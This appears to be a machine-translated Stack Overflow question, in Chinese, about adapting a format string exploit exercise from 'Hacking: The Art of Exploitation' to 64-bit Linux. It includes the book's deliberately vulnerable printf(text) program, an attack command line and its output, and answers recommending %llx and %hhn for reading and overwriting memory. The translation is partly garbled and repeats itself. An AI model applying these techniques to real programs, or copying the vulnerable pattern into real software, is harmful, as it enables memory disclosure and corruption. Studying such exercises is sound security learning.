C 格式字符串漏洞
我目前正在阅读黑客攻击的艺术,其中谈到了格式字符串漏洞。本书的练习试图通过将地址写入堆栈并使用格式参数读取,从而从内存的任意部分读取数据。问题是,这个练习是为32位系统编写的,而我正在使用64位系统。我尝试使其适用于64位系统,如下所示:C 格式字符串漏洞,c,linux,exploit,C,Linux,Exploit,我目前正在阅读黑客攻击的艺术,其中谈到了格式字符串漏洞。本书的练习试图通过将地址写入堆栈并使用格式参数读取,从而从内存的任意部分读取数据。问题是,这个练习是为32位系统编写的,而我正在使用64位系统。我尝试使其适用于64位系统,如下所示: ./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x 我从壳牌公司得到的回应是: 打印用户控制输入的正确方法: ???%0
./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
我从壳牌公司得到的回应是:
打印用户控制输入的正确方法:
???%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x
错误的方法
打印用户控制的输入:
00000000 55755010.00000000 F7DD18C0.00000000 F7AF4154.000000000000000.0000000000000 35.0 FFFFFFE088.000000005543C0.00000000ffffeeaa
[*]测试值@0x55755010=
-72 0xFFFFB8
如您所见,我只能读取下面4个字节0xFFFFEEAA,上面2个字节为gone0x7FFF。有没有想过我该怎么解决这个问题
顺便说一句,以下是本书中fmt_vuln的代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
以下是我的外壳的屏幕截图:
尝试使用%016llx long long x而不是%016x读取,因为您正在读取的是64位十六进制,而不是32位。非常感谢!现在它正在工作,但它的读数是0x30257fffffeeaa,而不是0x00007fffffeeaa。我也有办法解决这个问题吗?另外,同样的技术是否也适用于%s和%n?对于%s,您不需要任何东西;对于%n,您可以执行%hhn,以便在64位系统中覆盖,通常一次覆盖1或2个字节。地址不同可能是因为您没有确切的填充,或者您正在读取另一个地址,该地址是ASLR,并且每次都不同。请说明错误。图片上的文字太小,无法阅读。此外,搜索引擎无法为将来的访问者编制文本索引。@jww修复了此问题,谢谢